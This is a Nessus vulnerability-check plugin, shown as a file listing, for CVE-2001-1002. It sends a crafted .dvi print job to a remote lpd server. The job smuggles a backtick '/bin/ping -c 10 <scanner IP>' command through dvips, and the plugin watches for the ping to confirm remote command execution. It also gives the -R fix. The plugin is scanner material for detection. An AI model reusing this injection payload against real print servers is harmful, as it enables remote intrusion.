home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / lpd_dvips.nasl < prev    next >
Text File  |  2005-01-14  |  4KB  |  145 lines

  1. #
  2. # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
  3. #
  4. # See the Nessus Scripts License for details
  5. #
  6.  
  7. if(description)
  8. {
  9.    script_id(11023);
  10.    script_bugtraq_id(3241);
  11.    script_cve_id("CVE-2001-1002");
  12.    script_version ("$Revision: 1.8 $");
  13.    name["english"] = "lpd, dvips and remote command execution";
  14.    script_name(english:name["english"]);
  15.  
  16.    desc["english"] = "
  17. The remote lpd server calls dvips in insecure mode.
  18. An attacker may use this flaw to execute arbitrary
  19. commands remotely on this host.
  20.  
  21. Solution : edit the file
  22. /usr/lib/rhs/rhs-printfilters/dvi-to-ps.fpi
  23.  
  24. and change the linethat specifies how 'dvips' is
  25. to be executed from  :
  26. dvips -f $DVIPS_OPTIONS < $TMP_FILE 
  27. to
  28. dvips -R -f $DVIPS_OPTIONS < $TMP_FILE
  29.  
  30. Risk factor : High";
  31.  
  32.  
  33.    script_description(english:desc["english"]);
  34.  
  35.    summary["english"] = "Executes 'ping' on the remote host";
  36.    script_summary(english:summary["english"]);
  37.  
  38.    script_category(ACT_ATTACK);
  39.  
  40.    script_copyright(english:"This script is Copyright (C) 2002 Renaud Deraison");
  41.    script_family(english:"Gain root remotely");
  42.    script_require_ports("Services/lpd", 515);
  43.    script_dependencies("find_service.nes");
  44.    exit(0);
  45. }
  46.  
  47. port = get_kb_item("Services/lpd");
  48. if(!port)port = 515;
  49.  
  50. if(!get_port_state(port))exit(0);
  51.  
  52. soc = open_priv_sock_tcp(dport:port);
  53. if(!soc)exit(0);
  54.  
  55.  
  56. CR = raw_string(0x0A);
  57. a = raw_string(0x02) +  "lp" + CR;
  58.  
  59. send(socket:soc, data:a);
  60. r = recv(socket:soc, length:1);
  61. if(!r)exit(0);
  62.  
  63. if(ord(r))exit(0);
  64.  
  65.  
  66. name = get_host_name();
  67. ip = this_host();
  68.  
  69.  
  70. len = strlen(ip);
  71. len = len + 26;
  72. len = len % 256;
  73.  
  74. #
  75. # This is a .dvi file, containing a reference to a postscript file
  76. # called 'ping -c 10 <ourip>'.
  77. #
  78. data = raw_string(0xF7, 0x02, 0x01, 0x83, 0x82, 0xC0,
  79.           0x1C, 0x3B, 0x00, 0x00, 0x00, 0x00, 0x03, 0xE8,
  80.           0x1B, 0x20, 0x54, 0x65, 0x58, 0x20, 0x6F, 0x75,
  81.           0x74, 0x70, 0x75, 0x74, 0x20, 0x32, 0x30, 0x30,
  82.           0x32, 0x2E, 0x30, 0x36, 0x2E, 0x30, 0x38, 0x3A,
  83.           0x32, 0x30, 0x30, 0x35, 0x8b, 0x00, 0x00, 0x00,
  84.           0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  85.           0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  86.           0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  87.           0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  88.           0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF,
  89.           0xFF, 0x8D, 0x9F, 0xF2, 0x00, 0x00, 0x8E, 0xA0,
  90.           0x02, 0x83, 0x33, 0xDA, 0x8D, 0xA0, 0xFD, 0x7C,
  91.           0xCC, 0x26, 0xEF, len, 0x70, 0x73, 0x66, 0x69,
  92.           0x6C, 0x65, 0x3D, 0x22, 0x60, 0x2F, 0x62, 0x69,
  93.           0x6E, 0x2F, 0x70, 0x69, 0x6E, 0x67, 0x20, 0x2D,
  94.           0x63, 0x20, 0x31, 0x30, 0x20) + ip + 
  95.        raw_string(0x22, 0x8E, 0x9F,
  96.                 0x18, 0x00, 0x00, 0x8D, 0x92, 0x00, 0xE8, 0x60,
  97.          0xA3, 0xF3, 0x00, 0x4B, 0xF1, 0x60, 0x79, 0x00,
  98.          0x0A, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00,
  99.          0x05, 0x63, 0x6D, 0x72, 0x31, 0x30, 0xAB, 0x31,
  100.          0x8E, 0x8C, 0xF8, 0x00, 0x00, 0x00, 0x2A, 0x01,
  101.          0x83, 0x92, 0xC0, 0x1C, 0x3B, 0x00, 0x00, 0x00,
  102.          0x00, 0x03, 0xE8, 0x02, 0x9B, 0x33, 0xDA, 0x01,
  103.          0xD5, 0xC1, 0x47, 0x00, 0x02, 0x00, 0x01, 0xF3,
  104.          0x00, 0x4B, 0xF1, 0x60, 0x79, 0x00, 0x0A, 0x00,
  105.          0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x05, 0x63,
  106.          0x6D, 0x72, 0x31, 0x30, 0xF9, 0x00, 0x00, 0x00,
  107.          0xB0, 0x02, 0xDF, 0xDF, 0xDF, 0xDF);
  108.  
  109. cmd = raw_string(0x03) + string(strlen(data) ," dfA081", name) + CR;
  110. send(socket:soc, data:cmd);
  111. r = recv(socket:soc, length:1);
  112. if(ord(r))exit(0);
  113.  
  114.  
  115.           
  116.  
  117.  send(socket:soc, data:data);
  118.  send(socket:soc, data:raw_string(0));
  119.  r = recv(socket:soc, length:1);
  120. if(ord(r))exit(0);
  121.  
  122.  
  123.  cmd = string("Hlocal", CR, "Prenaud", CR, "fdfA081", name, CR,
  124.  "UdfA081",name, CR, "Nsploit.dvi", CR);
  125.  cmd1 = raw_string(0x02) + string(strlen(cmd), " cfA081", name) + CR;
  126.  send(socket:soc, data:cmd1);
  127.  
  128.  r = recv(socket:soc, length:1);
  129.  if(ord(r))exit(0);
  130.  
  131.  
  132.  send(socket:soc, data:cmd);
  133.  send(socket:soc, data:raw_string(0));
  134.  r = recv(socket:soc, length:1);
  135.  close(soc);
  136.  
  137.  #
  138.  # We asked the remote host to execute '/bin/ping -c 10 <us>'. We now
  139.  # wait for the reply.
  140.  #
  141.  filter = string("icmp and src host ", get_host_ip(), " and dst host ", ip, " and icmp[0] = 8");
  142.  pkt = pcap_next(pcap_filter:filter);
  143.  
  144.  if(pkt)security_hole(port);
  145.